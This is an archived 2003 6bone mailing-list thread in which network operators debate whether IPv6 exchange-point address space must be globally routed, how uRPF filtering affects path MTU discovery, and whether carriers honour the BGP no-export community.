  WWW: http://www.towardex.com
  E-mail: haesu@towardex.com
  Cell: (978) 394-2867

On Sat, Sep 06, 2003 at 09:32:33PM -0700, Michel Py wrote:
> > Haesu wrote:
> > Well, we are not a LIR yet.
> 
> If you don't mind my asking, why not? If you already are ARIN an member
> the IPv6 space is free when you already have IPv4 space (last time I
> checked); it is not too late to become a 6bone pTLA either.
> 
> Michel.
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


From dan@reeder.name Sat Sep  6 23:26:24 2003
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References: <Pine.LNX.4.21.0309062109590.1593-100000@Overkill.EnterZone.Net>
Subject: Re: [6bone] non-global address space for IXs (was: 2001:478:: as /48)
Date: Sun, 7 Sep 2003 16:26:23 +1000
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seeing as I can't resisit adding my AU$0.022 (ing GST), I thought I'd
contribute by raising this:

Wasn't one of the main features of a v6 internet supposed to be the
fantastic implementation of hierarchical design brought on by not only RIR
management, but co-ordinated and co-operative address aggregation iteself?

Whats to stop other people around the rest of the world from designing their
networks in this fashion? Personally i think we could then kiss the word
"hierarchy" goodbye if that happens. It'd be a veritable schemozzle.
I certainly don't agree with this attitude of "if you dont like it, filter
it."

Dan Reeder
----- Original Message ----- 
From: "John Fraizer" <tvo@EnterZone.Net>
To: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
Cc: <6bone@ISI.EDU>
Sent: Sunday, September 07, 2003 11:22 AM
Subject: RE: [6bone] non-global address space for IXs (was: 2001:478:: as
/48)


>
>
> On Sat, 6 Sep 2003, Gregg C Levine wrote:
>
> > Hello (again) from Gregg C Levine
> > Would any of you mind doing me a favor, when this discussion reaches a
> > good resting point? Please reiterate the whole series of things that
> > led up to this discussion.
> >
> > Oh, and on the sub-subject of ISPs, I happen to know from an earlier
> > phone call with their support staff, that even though they provide DSL
> > service for consumer AT&T customers, they haven't plans at the time to
> > make available IPv6 services. I'm still working on that issue.
> > -------------------
> > Gregg C Levine hansolofalcon@worldnet.att.net
>
>
> Bill Manning made a general announcement (like he has for the two previous
> years) that folks *may* see chunks of 2001:478::/32 announced as /48's or
> possibly /64's since it is divided into /48's and /64's for use at IX's
> that go to EP.NET for address space management.  From there, the v6 police
> decided that since folks can (now) get address space from the RIRs, that
> every EP that gets address space from EP.NET should now renumber or that
> someone should announce 2001:478::/32.  Nevermind that no ONE entity
> currently has connectivity to every part of 2001:478::/32 or that this
> address space has been in use at EPs since BEFORE the RIRs had made
> address space available for use at IX's. (I don't care if they had policy
> for it - they weren't handing out address space for this purpose yet.)
>
> From there, Jeroen demonstrated that he didn't understand how exchange
> points REALLY work and the reason for having all participants in the
> exchange point share not only the same L2 fabric but also the same L3 LIS
> so that routes learned from the route-servers have next-hops that are
> "connected" routes and do not require any further configuration on the
> part of exchange point participants other than bringing up peering
> session(s) with the route-server(s).
>
> From there, Jeroen decided to make anti-American remarks, blah blah blah
> in reference to my lack of patience with people who want to bitch and moan
> without being in possession of even a fraction of the clue required to
> understand the technology involved and an obvious lack of experience
> operating in the environment that address space carved out of
> 2001:478::/32 is implemented in.
>
> It boils down to this: People took offense (for whatever reason) that a
> single /32 (2001:478::/32) that was not part of address space carved out
> by the RIRs for use at IX's was being used for addressing IX's.  Nevermind
> the LONG history (pre IPv6) of EP.NET providing address space and
> management of that address space for exchange points, nevermind the fact
> that nobody is FORCING them to accept those /48's, nevermind
> anything.  They simply wanted to get bent out of shape because someone
> besides the RIRs was making address space (from a SINGLE /32) available
> for use by folks who operate v6 exchange points.
>
> Typical 6bone pissing and moaning if you ask me.
>
> --
> John Fraizer
> EnterZone, Inc
> (13944+$|13944+_14813+$|13944+_17266+$)
> PGP Key = 6C5903C4
> Fingerprint = 2AA6 6614 1B5E EDD2 38AD C417 3E61 F975 6C59 03C4
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>



From Robert.Kiessling@de.easynet.net Sun Sep  7 03:33:26 2003
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Subject: Re: [6bone] non-global address space for IXs
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From: Robert Kiessling <Robert.Kiessling@de.easynet.net>
Date: Sun, 07 Sep 2003 11:33:21 +0100
In-Reply-To: <Pine.LNX.4.21.0309061925370.31545-100000@Overkill.EnterZone.Net> (John
 Fraizer's message of "Sat, 6 Sep 2003 19:25:58 -0400 (EDT)")
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John Fraizer <tvo@EnterZone.Net> writes:

> Sorry Gert.  You don't router IX space and you wind up with the same
> issues as are presented by the boneheads who use RFC1918 address space on
> VISABLE links in V4 space.

No. The addresses are unique, while RFC1918 addresses are not. They
have PTRs while RFC1918 has not.

>  *EVERY* link in the chain has to be able to
> participate for PMTU-D to properly function.

You only need to send ICMP mit *source* address in the IXP mesh and
this is easily possible.

Pity to see that the FUD that IXP addresses have to be routed is still
around.

Robert


From jeroen@unfix.org Sun Sep  7 03:56:21 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Haesu'" <haesu@towardex.com>, <6bone@ISI.EDU>
Subject: RE: [6bone] Eastcoast tunnelbrokers..
Date: Sun, 7 Sep 2003 12:56:17 +0200
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-----BEGIN PGP SIGNED MESSAGE-----

Haesu wrote:

> And yes, let us count how many tunnelbrokers are out there 
> today that gives out only a /64 to endusers.
> 
> And considering we are getting connections from TB's until we 
> work out in getting our own TLA space, how the heck does 
> anyone expect us to abide to "MINIMUM /48" policy when our 
> current TBs only offer a few /48's?? 

HE.Net, Freenet6, SixXS, XS26 and Dolphins do all give out /48's.

The only one not doing it is the IPng POP of SixXS which
gives out /127's as tunnels and /60's as subnets.

Any other takers? I also wonder why you are redistributing
tunnelbroker space as now all traffic will be going:

enduser ---[ipv6 in ipv4]--> you ---[ipv6 in ipv4]--> he.net

Which will also cost a lot of latency for the enduser :(
And that user would be off quicker using he.net directly IMHO.

Greets,
 Jeroen

-----BEGIN PGP SIGNATURE-----
Version: Unfix PGP for Outlook Alpha 13 Int.
Comment: Jeroen Massar / jeroen@unfix.org / http://unfix.org/~jeroen/

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From bmanning@ISI.EDU Sun Sep  7 05:24:53 2003
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200309071224.h87COnw19391@boreas.isi.edu>
Subject: Re: [6bone] non-global address space for IXs
In-Reply-To: <m3fzj8ga6m.fsf@joseba.easynet.de> from Robert Kiessling at "Sep 7, 3 11:33:21 am"
To: Robert.Kiessling@de.easynet.net (Robert Kiessling)
Date: Sun, 7 Sep 2003 05:24:49 -0700 (PDT)
Cc: tvo@EnterZone.Net, 6bone@ISI.EDU
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% >  *EVERY* link in the chain has to be able to
% > participate for PMTU-D to properly function.
% 
% You only need to send ICMP mit *source* address in the IXP mesh and
% this is easily possible.
% 
% Pity to see that the FUD that IXP addresses have to be routed is still
% around.
% 
% Robert


	This snippet may be useful.  Some of us -REALLY- tried to
	not have non-aggregatable "holes" in the IPv6 space by 
	making use of IPv6 features. Unfortunately, others were unwilling
	to make the changes in mindset.  Link-local use at/over
	exchanges would have been so much nicer.  Reduced need for
	"special" space and all that.  Oh well.

        http://mailman.isi.edu/pipermail/6bone/2002-June/005605.html


--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From bortzmeyer@gitoyen.net Sun Sep  7 06:00:24 2003
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   6bone@mailman.isi.edu
Subject: Re: [6bone] non-global address space for IXs (was: 2001:478:: as /48) 
In-reply-to: <Pine.LNX.4.21.0309051902110.4641-100000@Overkill.EnterZone.Net> 
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On Friday 5 September 2003, at 19 h 3, 
John Fraizer <tvo@EnterZone.Net> wrote:

> > Note that some ISP's drop no-export's
...
> And those ISPs should be flogged and have their peering sessions
> admin-downed 

OpenTransit does it (and therefore the local replica of F.ROOT-SERVERS.NET in HonkKong is announced world-wide). You want to sever links with OpenTransit?




From bortzmeyer@gitoyen.net Sun Sep  7 06:08:08 2003
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Cc: John Fraizer <tvo@EnterZone.Net>, Jeroen Massar <jeroen@unfix.org>,
   6bone@mailman.isi.edu
Subject: Re: [6bone] non-global address space for IXs (was: 2001:478:: as /48) 
In-reply-to: <20030907011440.Z67740@Space.Net> 
     (Gert Doering <gert@space.net>'s message of 
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On Sunday 7 September 2003, at 1 h 14, 
Gert Doering <gert@space.net> wrote:

> > address space is not globally routed, it breaks PMTU-Disc, traceroute,
> > etc.
> 
> It does nothing of this, *unless* you're also doing reverse-path filtering
> on your external links 

Even if you do not filter incoming unsollicited ICMP, many networks filter 
incoming RFC 1918 packets and therefore you will lose the PMTU messages.

> It breaks pinging / tracerouting *to* a specific router on its IXP
> address, indeed, but not *through* the router, which is by far the
> most common usage.

It does break traceroute through the router. If two routers on the path use the same RFC 1918 address, imagine the difficulty of interpreting that traceroute output? Or of comparing two traceroutes?

I agree with Robert Kiessling <Robert.Kiessling@de.easynet.net> that non-announced - or announced-but-filtered - addresses are *less* a problem than RFC 1918, until people start filtering incoming packets whose IP source address is not in an announced block...




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Subject: RE: [6bone] non-global address space for IXs
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-----BEGIN PGP SIGNED MESSAGE-----

Bill Manning wrote:

> % >  *EVERY* link in the chain has to be able to
> % > participate for PMTU-D to properly function.
> % 
> % You only need to send ICMP mit *source* address in the IXP mesh and
> % this is easily possible.
> % 
> % Pity to see that the FUD that IXP addresses have to be routed is still
> % around.
> % 
> % Robert
> 
> 
> 	This snippet may be useful.  Some of us -REALLY- tried to
> 	not have non-aggregatable "holes" in the IPv6 space by 
> 	making use of IPv6 features. Unfortunately, others were unwilling
> 	to make the changes in mindset.  Link-local use at/over
> 	exchanges would have been so much nicer.  Reduced need for
> 	"special" space and all that.  Oh well.
> 
>        http://mailman.isi.edu/pipermail/6bone/2002-June/005605.html

Indeed quite interresting to see that more people seem to realize
that this approach is workable even though one person with apparently
quite a lot of knowledge doesn't seem to see my point :)
The fact that some people can't configure (read: forget the next-hop-self)
is easily bypassed ofcourse. The link-locals should be on your filter
list anyways, which is the case even when using the relaxed filtering
which is still the recommended thing for the time being.

Greets,
 Jeroen

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From jeroen@unfix.org Sun Sep  7 06:53:59 2003
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Subject: RE: [6bone] non-global address space for IXs (was: 2001:478:: as /48) 
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-----BEGIN PGP SIGNED MESSAGE-----

Stephane Bortzmeyer [mailto:bortzmeyer@gitoyen.net] wrote:

> On Sunday 7 September 2003, at 1 h 14, 
> Gert Doering <gert@space.net> wrote:
> 
> > > address space is not globally routed, it breaks PMTU-Disc, traceroute,
> > > etc.
> > 
> > It does nothing of this, *unless* you're also doing reverse-path filtering
> > on your external links 
> 
> Even if you do not filter incoming unsollicited ICMP, many networks filter 
> incoming RFC 1918 packets and therefore you will lose the PMTU messages.

Fortunatly IX Prefixes are globally unique, so this is not the case.

Having RFC1918 or other possibly non-globally unique addresses on the
wire is a bad thing(tm). We got rid of site-locals fortunatly :)

<SNIP>

> I agree with Robert Kiessling <Robert.Kiessling@de.easynet.net> that non-announced - or 
> announced-but-filtered - addresses are *less* a problem than 
> RFC 1918, until people start filtering incoming packets whose 
> IP source address is not in an announced block...

Fortunatly the IX prefixes are well known and have been established
through global policy. Making an exception for it then would not
be a huge problem. People who filter should also be aware of the
consequences :)

From your other reply:

> > > Note that some ISP's drop no-export's
> ...
> > And those ISPs should be flogged and have their peering sessions
> > admin-downed 
> 
> OpenTransit does it (and therefore the local replica of F.ROOT-SERVERS.NET
> in HonkKong is announced world-wide). You want to sever links with OpenTransit?

OpenTransit should be flogged in that case :)
glbx and Tiscali drop some no-export's too, they should obey it.

Greets,
 Jeroen


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From Robert.Kiessling@de.easynet.net Sun Sep  7 07:55:55 2003
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Subject: Re: [6bone] non-global address space for IXs
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In-Reply-To: <200309071224.h87COnw19391@boreas.isi.edu> (Bill Manning's
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Bill Manning <bmanning@ISI.EDU> writes:

> 	This snippet may be useful.  Some of us -REALLY- tried to
> 	not have non-aggregatable "holes" in the IPv6 space by 
> 	making use of IPv6 features. Unfortunately, others were unwilling
> 	to make the changes in mindset.  Link-local use at/over
> 	exchanges would have been so much nicer.

I don't think that hiding IXPs from traceroutes is much nicer.

And then there's implementation issues - more complex, so more
possibilities for errors (right ICMP source address, etc.).

Robert


From tvo@EnterZone.Net Sun Sep  7 08:18:21 2003
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 /48) 
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On Sun, 7 Sep 2003, Stephane Bortzmeyer wrote:

> On Friday 5 September 2003, at 19 h 3, 
> John Fraizer <tvo@EnterZone.Net> wrote:
> 
> > > Note that some ISP's drop no-export's
> ...
> > And those ISPs should be flogged and have their peering sessions
> > admin-downed 
> 
> OpenTransit does it (and therefore the local replica of
> F.ROOT-SERVERS.NET in HonkKong is announced world-wide). You want to
> sever links with OpenTransit?

If they din't honor my no-export communities, you bet your life I'd sever
links with OT.


--
John Fraizer
EnterZone, Inc 
(13944+$|13944+_14813+$|13944+_17266+$)
PGP Key = 6C5903C4
Fingerprint = 2AA6 6614 1B5E EDD2 38AD C417 3E61 F975 6C59 03C4






From gert@Space.Net Sun Sep  7 08:34:22 2003
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From: Gert Doering <gert@space.net>
To: John Fraizer <nsp-security@enterzone.net>
Cc: Gert Doering <gert@Space.Net>, Jeroen Massar <jeroen@unfix.org>,
   6bone@mailman.isi.edu
Subject: Re: [6bone] non-global address space for IXs (was: 2001:478:: as /48)
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Hi,

On Sat, Sep 06, 2003 at 07:19:26PM -0400, John Fraizer wrote:
> Sorry Gert.  You don't router IX space and you wind up with the same
> issues as are presented by the boneheads who use RFC1918 address space on
> VISABLE links in V4 space.  *EVERY* link in the chain has to be able to
> participate for PMTU-D to properly function.

Reachability of addresses (because they're visible in the routing
table) has NOTHING to do with the function of PMTU-D.

PMTU-D has those addresses in the *source* of the packet, not in the
destination.

Source IP Filtering (as in "dropping packets sourced from there") will
break PMTU-D.  Route filtering (as in "not knowing where to send 
answer packets to", which isn't needed here) won't.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  55575  (56535)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From gert@Space.Net Sun Sep  7 08:35:39 2003
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Hi,

On Sun, Sep 07, 2003 at 03:07:02PM +0200, Stephane Bortzmeyer wrote:
> > > address space is not globally routed, it breaks PMTU-Disc, traceroute,
> > > etc.
> > It does nothing of this, *unless* you're also doing reverse-path filtering
> > on your external links 
> 
> Even if you do not filter incoming unsollicited ICMP, many networks filter 
> incoming RFC 1918 packets and therefore you will lose the PMTU messages.

Uh?  Who's talking IPv4 and RFC1918 here?

> > It breaks pinging / tracerouting *to* a specific router on its IXP
> > address, indeed, but not *through* the router, which is by far the
> > most common usage.
> 
> It does break traceroute through the router. If two routers on the path use the same RFC 1918 address, imagine the difficulty of interpreting that traceroute output? Or of comparing two traceroutes?

Who's talking RFC1918?  Who's talking non-unique addresses?

We're talking about IXPs using globally unique address that just happen to 
be not visible in the routing table everywhere.  That's a slight 
difference.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  55575  (56535)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From tvo@EnterZone.Net Sun Sep  7 11:41:29 2003
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Date: Sun, 7 Sep 2003 14:41:25 -0400 (EDT)
From: John Fraizer <tvo@EnterZone.Net>
To: Gert Doering <gert@Space.Net>
cc: John Fraizer <nsp-security@EnterZone.Net>,
   Jeroen Massar <jeroen@unfix.org>, 6bone@mailman.isi.edu
Subject: Re: [6bone] non-global address space for IXs (was: 2001:478:: as
 /48)
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On Sun, 7 Sep 2003, Gert Doering wrote:

> Hi,
> 
> On Sat, Sep 06, 2003 at 07:19:26PM -0400, John Fraizer wrote:
> > Sorry Gert.  You don't router IX space and you wind up with the same
> > issues as are presented by the boneheads who use RFC1918 address space on
> > VISABLE links in V4 space.  *EVERY* link in the chain has to be able to
> > participate for PMTU-D to properly function.
> 
> Reachability of addresses (because they're visible in the routing
> table) has NOTHING to do with the function of PMTU-D.
> 
> PMTU-D has those addresses in the *source* of the packet, not in the
> destination.
> 
> Source IP Filtering (as in "dropping packets sourced from there") will
> break PMTU-D.  Route filtering (as in "not knowing where to send 
> answer packets to", which isn't needed here) won't.
> 


Gert,

If you're not running RPF, I have to ask, Why Not?  Do you just want
desperately to be the source of spoofed traffic?

RPF, combined with IX address space not being in the routing table will
break PMTU-D.


--
John Fraizer
EnterZone, Inc 
(13944+$|13944+_14813+$|13944+_17266+$)
PGP Key = 6C5903C4
Fingerprint = 2AA6 6614 1B5E EDD2 38AD C417 3E61 F975 6C59 03C4





From gert@Space.Net Sun Sep  7 12:26:04 2003
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Subject: Re: [6bone] non-global address space for IXs (was: 2001:478:: as /48)
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Hi,

On Sun, Sep 07, 2003 at 02:41:25PM -0400, John Fraizer wrote:
> > Source IP Filtering (as in "dropping packets sourced from there") will
> > break PMTU-D.  Route filtering (as in "not knowing where to send 
> > answer packets to", which isn't needed here) won't.
> 
> If you're not running RPF, I have to ask, Why Not?  Do you just want
> desperately to be the source of spoofed traffic?

Running uRPF *towards our customers* will prevent sourcing of spoofed
traffic from our network.  Which is good, and which we do.  Which you know.

Running uRPF towards our upstream doesn't help that much (we *do* have
access-list based filters that prevent spoofed packets carrying our
source addresses from coming in that way) but is much more likely to
break things.

> RPF, combined with IX address space not being in the routing table will
> break PMTU-D.

Sure.

(Which actually makes the whole discussion turn into a circle - as it
*might* break things for some people, it's not overly useful to go for
an IXP addressing system that is quite likely to hit default filtering
rules full-speed).

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  55575  (56535)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From mcr@sandelman.ottawa.on.ca Sun Sep  7 12:59:11 2003
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Subject: Re: [6bone] non-global address space for IXs (was: 2001:478:: as /48) 
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-----BEGIN PGP SIGNED MESSAGE-----


>>>>> "John" == John Fraizer <tvo@EnterZone.Net> writes:
    John> Gert,

    John> If you're not running RPF, I have to ask, Why Not?  Do you just want
    John> desperately to be the source of spoofed traffic?

  If one runs RPF on the customer facing interfaces, that is usually enough.
  I'm surprised that you are able to run RPF on interfaces that point into a
DFZ. Maybe there is magic I don't know about.

  If one has customers purchasing transit at an IX, then the IX interface
becomes a customer facing one, sure. But, in that context, I don't see
why you wouldn't take that connected route (to the IX) and distribute it
internally.
  (We certainly find it useful to be able to ping our peers and vendor's
interfaces to make sure they are up...)

  So, the only time that RPF would kill you is if the packet transitted
multiple IXs, and had MTU constraints at the "distant" IX. 

]      Out and about in Ottawa.    hmmm... beer.                |  firewalls  [
]   Michael Richardson, Sandelman Software Works, Ottawa, ON    |net architect[
] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[
] panic("Just another Debian/notebook using, kernel hacking, security guy");  [
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)
Comment: Finger me for keys - custom hacks make this fully PGP2 compat

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From arien+6bone@ams-ix.net Sun Sep  7 14:30:05 2003
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On zondag, september 7, 2003, at 08:41 PM, John Fraizer wrote:

> RPF, combined with IX address space not being in the routing table will
> break PMTU-D.

That remains to be seen. Typically all interfaces in IX peering LANs 
have the same MTU. How likely is it that a router takes the peering LAN 
address as source address for a packet too big message? Has anyone ever 
investigated the behaviour of the various router implementations?

There is a reason why IX space should not be exported, namely to 
prevent routing issues. Since eBGP learned routes are better than a 
iBGP learned routes.

Arien


From haesu@mx01.bos.ma.towardex.com Sun Sep  7 15:13:54 2003
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Subject: Re: [6bone] non-global address space for IXs (was: 2001:478:: as /48)
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<snip>
> 
> Running uRPF towards our upstream doesn't help that much (we *do* have
> access-list based filters that prevent spoofed packets carrying our
> source addresses from coming in that way) but is much more likely to
> break things.

I second that;although using loose-check uRPF on  upstreams would work fine in
general. My consensus is that 'why should I recv a packet if it does not
exist in routing table?' 

-hc

-- 
Sincerely,
  Haesu C.
  TowardEX Technologies, Inc.
  WWW: http://www.towardex.com
  E-mail: haesu@towardex.com
  Cell: (978) 394-2867

From stuart@tech.org Sun Sep  7 15:30:01 2003
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Subject: Re: [6bone] non-global address space for IXs (was: 2001:478:: as /48) 
In-reply-to: Your message of "Sun, 07 Sep 2003 23:30:01 +0200."
             <6FFCE8CF-E17A-11D7-A8CD-00039364C8C0@ams-ix.net> 
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> There is a reason why IX space should not be exported, namely to 
> prevent routing issues. Since eBGP learned routes are better than a 
> iBGP learned routes.

Some networks define BGP policy to correct that behavior with respect
to IX networks.

Some networks put IX connected routes into their IGP, overriding BGP
(I occasionally have to remind a network that "passive" is desirable
in that regard).

Regardless of the specific details, networks have the ability to put
mechanisms into place to prevent themselves from learning external
paths to what should be connected routes, rather than relying on other
networks not to announce them.

Stephen


From stuart@tech.org Sun Sep  7 15:37:06 2003
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To: John Fraizer <tvo@EnterZone.Net>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] non-global address space for IXs (was: 2001:478:: as /48) 
In-reply-to: Your message of "Sun, 07 Sep 2003 11:18:15 EDT."
             <Pine.LNX.4.21.0309071117330.18078-100000@Overkill.EnterZone.Net> 
Date: Sun, 07 Sep 2003 15:36:58 -0700
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> 
> On Sun, 7 Sep 2003, Stephane Bortzmeyer wrote:
> 
> > On Friday 5 September 2003, at 19 h 3, 
> > John Fraizer <tvo@EnterZone.Net> wrote:
> > 
> > > > Note that some ISP's drop no-export's
> > ...
> > > And those ISPs should be flogged and have their peering sessions
> > > admin-downed 
> > 
> > OpenTransit does it (and therefore the local replica of
> > F.ROOT-SERVERS.NET in HonkKong is announced world-wide). You want to
> > sever links with OpenTransit?
> 
> If they din't honor my no-export communities, you bet your life I'd sever
> links with OT.

ISC's policy for satellite f-root route distribution is that no-export
may be stripped so that a network peering with a satellite f-root can
distribute the route in question to its customers.

See http://www.isc.org/peering/#policy for details.

Stephen

From gert@Space.Net Mon Sep  8 00:49:29 2003
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Hi,

On Sun, Sep 07, 2003 at 06:14:08PM -0400, Haesu wrote:
> I second that;although using loose-check uRPF on  upstreams would work fine in
> general. My consensus is that 'why should I recv a packet if it does not
> exist in routing table?' 

Because it will break PMTUD in those cases (and, more frequent, in the
case of stupid ISPs that use RFC1918 transit networks and send ICMPs from
those source addresses).

In a world where everybody knows what he's doing, upstream "loose uRPF"
should be fine (but in that world you wouldn't need it either).  *sigh*.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  55575  (56535)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From arien+6bone@ams-ix.net Mon Sep  8 01:18:43 2003
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From: Arien Vijn <arien+6bone@ams-ix.net>
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On maandag, september 8, 2003, at 02:14 AM, John Fraizer wrote:

> On Sun, 7 Sep 2003, Arien Vijn wrote:
>
>> There is a reason why IX space should not be exported, namely to
>> prevent routing issues. Since eBGP learned routes are better than a
>> iBGP learned routes.
>>
>> Arien
>
> And IGP routes (IE: Your peering interface is going to be a connected
> route to the IX address space) beat EGP routes for a reason.  You're 
> not
> running an IGP for what reason?
>

Happen to work for an IXP and we get complains about this as peering 
LAN prefixes do leak out from time to time. That is the reason why we 
announce the peering LAN prefix with the no-export community string. 
But as Stephen Stuart rightly pointed out: networks should not rely on 
announcements of others.

However nobody seems to have an answer on the question in the first 
part of my posting. Which I regard as more important then a well known 
issue like the one above.

Arien


From koch@tiscali.net Mon Sep  8 01:53:58 2003
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From: Alexander Koch <koch@tiscali.net>
To: Stephen Stuart <stuart@tech.org>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] non-global address space for IXs (was: 2001:478:: as /48)
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On Sun, 7 September 2003 15:36:58 -0700, Stephen Stuart wrote:
> > If they din't honor my no-export communities, you bet
> > your life I'd sever links with OT.
> 
> ISC's policy for satellite f-root route distribution is that no-export
> may be stripped so that a network peering with a satellite f-root can
> distribute the route in question to its customers.

Sure, but I am not allowed to do v6 transit for the NYIIX
node. It's v6, you know... v6. PAIX and v6 is coming soon
for us, arguably, but still that policy makes me use the
PAIX F sent to me by fine HE which we meet in NYIIX and
Equi6IX in Ashburn...

Any chances of this being changed?

Alexander


From koch@tiscali.net Mon Sep  8 01:58:23 2003
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From: Alexander Koch <koch@tiscali.net>
To: Jeroen Massar <jeroen@unfix.org>
Cc: "'Stephane Bortzmeyer'" <bortzmeyer@gitoyen.net>, 6bone@mailman.isi.edu
Subject: Re: [6bone] non-global address space for IXs (was: 2001:478:: as /48)
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On Sun, 7 September 2003 15:53:54 +0200, Jeroen Massar wrote:
> > OpenTransit does it (and therefore the local replica of
> > F.ROOT-SERVERS.NET in HonkKong is announced world-wide).
> > You want to sever links with OpenTransit?
> 
> OpenTransit should be flogged in that case :)

Opentransit has had no community setup yet, so Fabien did
not have any other chance than sending full table or nothing.
I do not if that has changed by now.

> glbx and Tiscali drop some no-export's too, they should obey it.

In fact we overwrite every prefix with a set of well-
defined community settings according to the countries where
it enters our network. Let me know the prefixes in question
and I'm happy to work things out!

Regards,
Alexander


From sabri@doos.cluecentral.net Mon Sep  8 02:46:55 2003
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Subject: Re: [6bone] non-global address space for IXs (was: 2001:478:: as /48)
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On Sun, Sep 07, 2003 at 11:30:01PM +0200, Arien Vijn wrote:
> On zondag, september 7, 2003, at 08:41 PM, John Fraizer wrote:
> 
> > RPF, combined with IX address space not being in the routing table will
> > break PMTU-D.
> 
> That remains to be seen. Typically all interfaces in IX peering LANs 
> have the same MTU. How likely is it that a router takes the peering LAN 
> address as source address for a packet too big message? Has anyone ever 
> investigated the behaviour of the various router implementations?

AFAIK most routers router use the IP on the interface the outgoing packet
is originating from as the source IP for the packet. That means that if a
packet is routed through the shared medium, the IXP's prefix will be
used in the ICMP packet. This breaks pmtud in 2 ways: less clueful
admins filtering the IX's prefix as a bogon, and (if the prefix is not
in the global table) on routers which check the source of packets for
a route in their routing table.

My experience comes from having a tunnel at home with a mtu of 1480 for
over 3 years now. Amazing how many networks are improperly configured.. 

-- 
Sabri Berisha 			"I route, therefore you are"

"Wij doen niet aan default gateways" - anonymous engineer bij een DSL klant.

From tvo@EnterZone.Net Mon Sep  8 05:38:52 2003
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To: Gert Doering <gert@space.net>
cc: Haesu <haesu@towardex.com>, 6bone@ISI.EDU
Subject: Re: [6bone] non-global address space for IXs (was: 2001:478:: as
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On Mon, 8 Sep 2003, Gert Doering wrote:

> Hi,
> 
> On Sun, Sep 07, 2003 at 06:14:08PM -0400, Haesu wrote:
> > general. My consensus is that 'why should I recv a packet if it does not
> > exist in routing table?' 
> 
> Because it will break PMTUD in those cases (and, more frequent, in the
> case of stupid ISPs that use RFC1918 transit networks and send ICMPs from
> those source addresses).

I tend to lean towards preventing spoofed packets from entering my network
over keeping PMTU-D alive.  RFC1918 address space is dropped - period the
end, as are all other known BOGONs.  Address space to which we have to
return address is also dropped.  To not do so presents two problems:

(1) It allows "spoofed" attacks to make it into our network.
(2) It perpetuates the existance clueless operators.  IE; if they can't
communicate with RESPONSIBLE networks, they might just find some clue and
fix their networks!

> 
> In a world where everybody knows what he's doing, upstream "loose uRPF"
> should be fine (but in that world you wouldn't need it either).  *sigh*.

Gert, I'm not trying to be elitist here but, in THIS world, I'm not going
to bend over backwards to allow broken networks to communicate to or
through my network.  If they're broken, the operative word is
"THEY'RE" and it is THEIR problem, not mine.  Why should I drop shields
because some bonehead decided to use RFC1918 space on WAN links where MTU
changes or because some other bonehead "made up" an address range to use
"internally" and then misconfigured NAT on his border devices, and is thus
spewing packets from invalid (read: hijacked) address space?

If they're broken, they're broken and to change common convention to
accomodate them will only serve to KEEP them broken.


--
John Fraizer
EnterZone, Inc 
(13944+$|13944+_14813+$|13944+_17266+$)
PGP Key = 6C5903C4
Fingerprint = 2AA6 6614 1B5E EDD2 38AD C417 3E61 F975 6C59 03C4





From tvo@EnterZone.Net Mon Sep  8 05:48:59 2003
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On Mon, 8 Sep 2003, Alexander Koch wrote:

> On Sun, 7 September 2003 15:53:54 +0200, Jeroen Massar wrote:
> > > OpenTransit does it (and therefore the local replica of
> > > F.ROOT-SERVERS.NET in HonkKong is announced world-wide).
> > > You want to sever links with OpenTransit?
> > 
> > OpenTransit should be flogged in that case :)
> 
> Opentransit has had no community setup yet, so Fabien did
> not have any other chance than sending full table or nothing.
> I do not if that has changed by now.

Ther don't need to set up their own community to honor the "well
known" community "no-export".  Every compliant BGP implementation honors
no-export unless you explicitly strip that community from routes on their
way in.

> 
> > glbx and Tiscali drop some no-export's too, they should obey it.
> 
> In fact we overwrite every prefix with a set of well-
> defined community settings according to the countries where
> it enters our network. Let me know the prefixes in question
> and I'm happy to work things out!
> 

Perhaps you should look at using "additive" vs overwriting the
communities.  At the very minimum, you shouldn't strip off the
"no-export" community.

I realize that it can be a pain to strip SOME communities but not ALL
communities.  Believe me - I know.  I posted a very detailed configuration
not too long ago that does just that though.  You define the communities
that you will be using internally and those communities are stripped on
the way in if they're on the prefixes.  Again though - "no-export" should
not be stripped and should ALWAYS be honored.

In the case of opentransit not stripping it so they can "show it" to their
customers, they don't need to show it to their customers.  If it's an
anycast prefix thats being used, and their customer tries to go to that
anycast address, once the traffic makes it onto OT's network - they're
going to send it to the closest one.  They don't need to leak the
"no-export" tagged routes to make that work.


--
John Fraizer
EnterZone, Inc 
(13944+$|13944+_14813+$|13944+_17266+$)
PGP Key = 6C5903C4
Fingerprint = 2AA6 6614 1B5E EDD2 38AD C417 3E61 F975 6C59 03C4





From gert@Space.Net Mon Sep  8 06:33:16 2003
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From: Gert Doering <gert@space.net>
To: John Fraizer <tvo@EnterZone.Net>
Cc: Alexander Koch <koch@tiscali.net>, Jeroen Massar <jeroen@unfix.org>,
